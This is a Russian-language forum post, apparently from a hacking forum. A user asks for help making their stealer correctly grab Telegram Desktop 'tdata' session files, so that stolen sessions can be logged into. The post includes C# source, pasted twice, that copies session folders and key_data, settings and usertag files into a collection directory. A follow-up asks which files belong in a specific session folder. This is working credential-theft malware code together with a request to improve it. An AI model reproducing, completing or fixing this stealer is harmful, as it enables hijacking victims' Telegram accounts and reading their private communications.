мой ******* ворует файлы тдаты но зайти в нее я не могу но если заливать на лолз тдату и потом качать оттуда только нужные файлы все заходит короче гемор и ******* стиллит мусор Короче люди добрые дайте код *******а или поправьте мой что бы воровало в тдате что надо либо дайте на визуалбазик дотнет либо на C# как написано в теме предпочту визуалбазик дотнет public static bool GetTelegramSessions(string sSaveDir) { string tdata = Telegram.GetTdata(); checked { bool flag; try { if (!Directory.Exists(tdata)) { flag = false; } else { Directory.CreateDirectory(sSaveDir); string[] directories = Directory.GetDirectories(tdata); string[] files = Directory.GetFiles(tdata); foreach (string text in directories) { string name = new DirectoryInfo(text).Name; if (name.Length == 16) { string text2 = Path.Combine(sSaveDir, name); Telegram.CopyDirectory(text, text2); } } string[] array2 = files; int num = array2.Length - 1; for (int j = 0; j <= num; j++) { FileInfo fileInfo = new FileInfo(array2[j]); string name2 = fileInfo.Name; string text3 = Path.Combine(sSaveDir, name2); if (name2.EndsWith("s")) { fileInfo.CopyTo(text3); } else if (name2.StartsWith("usertag") || name2.StartsWith("settings") || name2.StartsWith("key_data")) { fileInfo.CopyTo(text3); } } flag = true; } } catch (Exception ex) { flag = false; } return flag; } } CSHARP public static bool GetTelegramSessions(string sSaveDir) { string tdata = Telegram.GetTdata(); checked { bool flag; try { if (!Directory.Exists(tdata)) { flag = false; } else { Directory.CreateDirectory(sSaveDir); string[] directories = Directory.GetDirectories(tdata); string[] files = Directory.GetFiles(tdata); foreach (string text in directories) { string name = new DirectoryInfo(text).Name; if (name.Length == 16) { string text2 = Path.Combine(sSaveDir, name); Telegram.CopyDirectory(text, text2); } } string[] array2 = files; int num = array2.Length - 1; for (int j = 0; j <= num; j++) { FileInfo fileInfo = new FileInfo(array2[j]); string name2 = fileInfo.Name; string text3 = Path.Combine(sSaveDir, name2); if (name2.EndsWith("s")) { fileInfo.CopyTo(text3); } else if (name2.StartsWith("usertag") || name2.StartsWith("settings") || name2.StartsWith("key_data")) { fileInfo.CopyTo(text3); } } flag = true; } } catch (Exception ex) { flag = false; } return flag; } }
metasteal, слушай еще вопрос а что должно быть в папке D877F783D5D3EF8C Насколько я понял s в названии папки опечатка